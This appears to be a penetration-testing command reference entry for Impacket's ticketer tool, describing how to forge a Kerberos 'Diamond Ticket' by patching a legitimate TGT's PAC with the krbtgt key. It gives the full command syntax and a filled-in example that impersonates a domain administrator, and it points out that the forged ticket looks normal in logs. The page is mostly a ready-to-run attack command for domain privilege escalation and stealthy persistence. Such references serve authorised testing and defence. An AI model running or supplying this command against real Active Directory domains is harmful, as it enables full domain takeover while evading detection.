Impacket Diamond Ticket

Forge a Diamond Ticket: request a legitimate TGT from the KDC and then patch its PAC with custom group memberships using the krbtgt key. Looks identical to a normal TGT in logs (proper KDC encryption metadata), unlike a Golden Ticket which is fully fabricated.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

impacket-ticketer

Category

Credential Attacks / Ticket Forgery & Conversion

Platform

linux

Requires

NTLM hash

Protocols

KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ticketer -nthash <krbtgt_hash> -domain-sid <domain_sid> -domain <domain> -request -user <low_priv_user> -password <low_priv_password> -impersonate <target_user> -duration 10 <user_to_impersonate>

Examples

impacket-ticketer -nthash 5f4dcc3b5aa765d61d8327deb882cf99 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain corp.local -request -user jdoe -password 'Password123!' -impersonate administrator -duration 10 administrator

Tags

impacket diamond-ticket tgt krbtgt stealth forgery

References

• Semperis — Diamond Ticket
• Impacket — ticketer.py

Related commands

• Impacket describeTicket Parse and display the contents of a Kerberos ticket (.ccache or .kirbi)
• Impacket getPac Retrieve the PAC (Privilege Attribute Certificate) for a target user via the S4U2self…
• Impacket Golden Ticket Forge a Golden Ticket (TGT) using the krbtgt NTLM hash
• Impacket Silver Ticket Forge a Silver Ticket (TGS) for a specific service using its NTLM hash
• Impacket Ticket Converter Convert Kerberos tickets between kirbi (Windows) and ccache (Linux) formats
• Impacket ticketer.py Golden Ticket Forge a Golden Ticket (TGT signed with the krbtgt key) granting any user, any privilege,…